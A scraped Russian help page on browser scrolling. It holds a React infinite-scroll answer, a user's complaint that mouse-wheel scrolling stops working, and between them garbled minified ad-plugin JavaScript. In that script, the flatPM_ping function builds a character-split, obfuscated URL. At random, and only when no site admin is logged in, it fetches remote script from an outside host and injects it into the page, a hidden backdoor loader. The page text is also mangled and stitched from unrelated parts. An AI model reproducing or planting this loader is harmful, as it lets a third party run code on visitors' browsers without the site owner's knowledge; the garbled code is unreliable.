Отключается прокрутка страницы в браузере | Пикабу

Почему не работает скролл элемента?

1) Чтобы была прокрутка надо style={{'overflow':'auto'}} передать в div, а не в MarqueeSelection

2) По поводу динамической подгрузки айтемов:

Первое, что нам нужно сделать – это передать в div обработчик onScroll и получить ссылку на его node с помощью ref:

<div
   onScroll={this.handleScroll}
   ref={el => this.scroll = el}>

Далее получим ссылку на сам список и закешируем его высоту:

componentDidMount(){
    this.detailList=this.scroll.childNodes[0];
    this.scrollHeight = this.scroll.clientHeight
}

Теперь нам надо получить предельное значение scrollTop по достижению которого мы будем подгружать айтемы. Первое, что скорее всего прийдет в голову – это получать его в componentDidUpdate, но это ошибочное решение, т.к. DetailsList – это ассинхронный компонент и сразу после того как наш компонент примонтируется, там айтемов не будет и его высота будет 0. Поэтому воспользуемся onDidUpdate самого DetailsList. Стоит заметить, что вызывается он не только при апдейте, но и при первом рендере айтемов.

<DetailsList
   onDidUpdate={this.handleDetailListUpdate}

И сам обработчик:

handleDetailListUpdate=()=>{
    this.maxScrollTop=this.detailList.clientHeight-this.scrollHeight-100;
}

Ну и наконец-то обработчик скролла:

handleScroll=()=>{
    if (this.scroll.scrollTop>this.maxScrollTop){
        this.setState({
            items: this.state.items.concat(this.getItems()),
        });
    }
}

Функция getItems() для теста:

startNum = 0;

getItems(){
    const items = [];
    const finishNum = this.startNum   50;
    for (let i = this.startNum; i<finishNum; i  ) {
        items.push({
            key: i,
            name: 'Item '   i,
            value: i
        });
    }
    this.startNum  = 50;
    return items;
}

Ну и не забудем получить первую порцию айтемов в конструкторе:

constructor(props) {
    super(props);

    this.state = {
        items: this.getItems(),
        selectionDetails: this._getSelectionDetails()
    };
}

Вот и все.

Ну и на всякий случай код всего компонента:

export default class Example extends Component {

constructor(props) {
    super(props);
    this._selection = new Selection({
        onSelectionChanged: () => this.setState({ selectionDetails: this._getSelectionDetails() })
    });

    this.state = {
        items: this.getItems(),
        selectionDetails: this._getSelectionDetails()
    };
}

startNum = 0;

getItems(){
    const items = [];
    const finishNum = this.startNum   50;
    for (let i = this.startNum; i<finishNum; i  ) {
        items.push({
            key: i,
            name: 'Item '   i,
            value: i
        });
    }
    this.startNum  = 50;
    return items;
}

componentDidMount(){
    this.detailList=this.scroll.childNodes[0];
    this.scrollHeight = this.scroll.clientHeight
}

handleScroll=()=>{
    if (this.scroll.scrollTop>this.maxScrollTop){
        this.setState({
            items: this.state.items.concat(this.getItems()),
        });
    }
}

handleDetailListUpdate=()=>{
    this.maxScrollTop=this.detailList.clientHeight-this.scrollHeight-100;
}

render(){

    let {
        items,
        selectionDetails
    } = this.state;

    return (
        <div
            style={{height:'800px', overflow:'auto' }}
            onScroll={this.handleScroll}
            ref={el => this.scroll = el}>
                <MarqueeSelection selection={ this._selection }>
                    <DetailsList
                        onDidUpdate={this.handleDetailListUpdate}
                    />
                </MarqueeSelection>
            </div>
    );
}

_getSelectionDetails = () => {
    let selectionCount = this._selection.getSelectedCount();
    switch (selectionCount) {
        case 0:
            return 'No items selected';
        default:
            return `${selectionCount} items selected`;
    }
};

}

Php – вертикальная полоса прокрутки не работает – web-answers

“:’

Сейчас ищут техподдержку:  В Белоруссии заблокировали сайт . Несколько дней назад его основатель Дмитрий Навоша выступил в поддержку Tut.by — Meduza

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Отключается прокрутка страницы в браузере

Здравствуйте.

При просмотре сайта через браузер (в частности Я.Браузер) периодически отключается прокрутка страницы колесом мыши. Это происходит без четкой закономерности, но чаще всего при подгрузке контента, когда он заканчивается на странице. Проблема решается после перезагрузки страницы, но это заставляет заново все пролистывать. А в процессе пролистывания прокрутка снова может отвалиться. На других браузерах не проверял, т.к. не “крутил” страницы в ожидании появления бага.

Дополнительно о техподдержке

Сейчас ищут техподдержку:  Договоры обслуживания 1С - Простые решения
1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 4,00 из 5)
Загрузка...

Оставьте комментарий

Adblock
detector